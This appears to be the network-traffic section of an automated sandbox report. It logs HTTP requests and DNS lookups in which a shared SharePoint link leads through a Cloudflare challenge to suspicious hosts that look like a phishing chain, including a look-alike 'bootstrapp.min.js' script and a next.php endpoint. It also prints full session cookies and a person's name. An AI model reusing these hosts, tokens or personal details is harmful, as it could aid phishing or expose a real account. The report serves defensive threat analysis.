Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9015f126deef0f81&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: filex.securecourtcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://filex.securecourtcloud.com/Fdr9j/?e=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iiv591551rtht2am729ml4nkuv
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2102085551:1736773902:Y9oyco4EIMISRTQJsAe0hGcH_GirB8cw-ohXJvvfSz4/9015f126deef0f81/4D0QKRzMNTEu3UpZNaPlv9szE4pTxpH8HqWx7OiQOQw-1736777135-1.1.1.1-KSgANcw5CCfXJxvSNXYmBaEFgBrgqLmNmhCQrzlG23LrZolVxKFmXEApS2FYGS8T HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/9015f126deef0f81/1736777136888/4a3d96a2bfe9e5c6ae6807c4f602cf4f110362ff4a026dbba98e623a78c0d3e1/2oXWiruk_FKPx2J HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/6bsud/0x4AAAAAAA4v8z0qopw-AuOv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/9015f126deef0f81/1736777136892/2SzK082n0FVnuKx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/6bsud/0x4AAAAAAA4v8z0qopw-AuOv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/9015f126deef0f81/1736777136892/2SzK082n0FVnuKx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2102085551:1736773902:Y9oyco4EIMISRTQJsAe0hGcH_GirB8cw-ohXJvvfSz4/9015f126deef0f81/4D0QKRzMNTEu3UpZNaPlv9szE4pTxpH8HqWx7OiQOQw-1736777135-1.1.1.1-KSgANcw5CCfXJxvSNXYmBaEFgBrgqLmNmhCQrzlG23LrZolVxKFmXEApS2FYGS8T HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2102085551:1736773902:Y9oyco4EIMISRTQJsAe0hGcH_GirB8cw-ohXJvvfSz4/9015f126deef0f81/4D0QKRzMNTEu3UpZNaPlv9szE4pTxpH8HqWx7OiQOQw-1736777135-1.1.1.1-KSgANcw5CCfXJxvSNXYmBaEFgBrgqLmNmhCQrzlG23LrZolVxKFmXEApS2FYGS8T HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://filex.securecourtcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://filex.securecourtcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://filex.securecourtcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrapp.min.js HTTP/1.1Host: 7421000259-1323985617.cos.ap-seoul.myqcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrapp.min.js HTTP/1.1Host: 7421000259-1323985617.cos.ap-seoul.myqcloud.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 7421000259.fbusinesslawyer.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/AccessDenied.aspx?correlation=902277a1%2Da07f%2D7000%2D6358%2Ddaf050219e71 HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]; MicrosoftApplicationsTelemetryDeviceId=3e5d5b82-a7ec-46a9-908e-7e84757ff108; ai_session=Z/xydh9uVilLgCAtVeWodm|1736777111889|1736777111889; MSFPC=GUID=ffff04637fda4586b373bc1766cf64e2&HASH=ffff&LV=202501&V=4&LU=1736777111408
Source: global traffic	HTTP traffic detected: GET /Fdr9j/1.png HTTP/1.1Host: filex.securecourtcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://filex.securecourtcloud.com/Fdr9j/?e=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=iiv591551rtht2am729ml4nkuv
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://filex.securecourtcloud.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 7421000259.fbusinesslawyer.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.php HTTP/1.1Host: 7421000259.fbusinesslawyer.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Fdr9j/?e= HTTP/1.1Host: filex.securecourtcloud.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Performs DNS lookups

Source: global traffic	DNS traffic detected: DNS query: organismekina8at-my.sharepoint.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: m365cdn.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: r4.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: config.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: ow1.res.office365.com
Source: global traffic	DNS traffic detected: DNS query: 544bd5a8a76f868214bef98cff1068f4.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: outlook.office365.com
Source: global traffic	DNS traffic detected: DNS query: pub-d718e5e3afe742b8ab446f7a542f5139.r2.dev
Source: global traffic	DNS traffic detected: DNS query: qknaptqvepscqlukrsfs.mmicensacaviar.org.uk
Source: global traffic	DNS traffic detected: DNS query: upload.fp.measure.office.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: filex.securecourtcloud.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 7421000259-1323985617.cos.ap-seoul.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 7421000259.fbusinesslawyer.com
Source: global traffic	DNS traffic detected: DNS query: spo.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Posts data to webserver

Source: unknown

HTTP traffic detected: POST /personal/mariejoelle_tremblay_kina8at_ca/_api/v2.1/graphql HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveContent-Length: 507sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"accept: application/json;odata=verboseContent-Type: application/json;odata=verboseX-ServiceWorker-Strategy: CacheFirstsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://organismekina8at-my.sharepoint.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://organismekina8at-my.sharepoint.com/personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8a&ga=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable / 403 Forbidden)

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, no-storePragma: no-cacheContent-Length: 59Content-Type: application/jsonExpires: -1P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; path=/; SameSite=None; secure; HttpOnlyX-NetworkStatistics: 0,525568,0,0,641857,0,197098,24X-SharePointHealthScore: 3X-VroomVersion: 2.0X-DataBoundary: NONEX-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/SPRequestGuid: 832277a1-10fa-7000-6358-d6f64063a081request-id: 832277a1-10fa-7000-6358-d6f64063a081MS-CV: oXcig/oQAHBjWNb2QGOggQ.0Alt-Svc: h3=":443";ma=86400Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-EWR31r5d&frontEnd=AFD&RemoteIP=8.46.123.0"}]}NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0}Strict-Transport-Security: max-age=31536000X-FRAME-OPTIONS: SAMEORIGINContent-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com teams.cloud.microsoft *.office365.com goals.cloud.microsoft *.powerapps.com app.powerbi.com *.yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft *.officeapps.live.com *.office.com *.microsoft365.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com;SPRequestDuration: 65SPIisLatency: 2X-Powered-By: ASP.NETMicrosoftSharePointTeamSe
